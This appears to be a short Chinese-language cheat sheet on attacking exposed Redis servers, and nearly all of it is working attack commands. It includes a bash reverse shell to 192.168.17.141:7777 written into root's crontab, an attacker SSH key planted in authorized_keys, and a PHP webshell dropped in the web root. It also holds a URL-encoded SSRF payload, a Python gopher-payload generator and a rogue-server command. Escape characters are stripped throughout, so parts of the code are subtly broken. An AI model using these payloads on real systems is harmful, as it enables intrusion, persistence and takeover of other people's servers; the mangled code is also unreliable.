Redis攻防

创建一个key xx，值为反弹shell语句，直接往当前用户的crontab里写入反弹shell，换行是必不可少的。set  xx   "n* * * * * bash -i >& /dev/tcp/192.168.17.141/7777 0>&1n"

修改备份目录为linux计划任务目录config set dir /var/spool/cron/修改备份文件名为 rootconfig set dbfilename root以root身体执行计划任务save

ssh-keygen -t rsa

(echo -e "nn"; cat id_rsa.pub;echo -e "nn") > key.txt

--pass是登录密码无密码可不填cat key.txt | redis-cli -h 192.168.0.108 --pass pass123 -x set xx

利用gopher协议反弹shellconfig set dir /root/.ssh设置文件名config set dbfilename authorized_keys保存Save

同样设置备份目录位置> config set dir /var/www/html/设置备份文件名> config set dbfilename shell.php设置key x值> set x "<?php phpinfo();?>"保存> save

Payload：http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.17.141%2F7777%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

/*gopher协议反弹shell利用脚本*/import urllibprotocol="gopher://"ip="172.18.0.2"port="6379"reverse_ip="192.168.17.141"reverse_port="7777"cron="nnnn*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1nnnn"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron"passwd=""cmd=["flushall",   "set 1 {}".format(cron.replace(" ","${IFS}")),   "config set dir {}".format(path),   "config set dbfilename {}".format(filename),   "save"   ]if passwd:  cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):  CRLF="rn"  redis_arr = arr.split(" ")  cmd=""  cmd+="*"+str(len(redis_arr))  for x in redis_arr:    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")  cmd+=CRLF  return cmd
if __name__=="__main__":  for x in cmd:    payload += urllib.quote(redis_format(x))  print payload

python3 redis-rogue-server.py --rhost 192.168.17.138 --lhost 192.168.17.130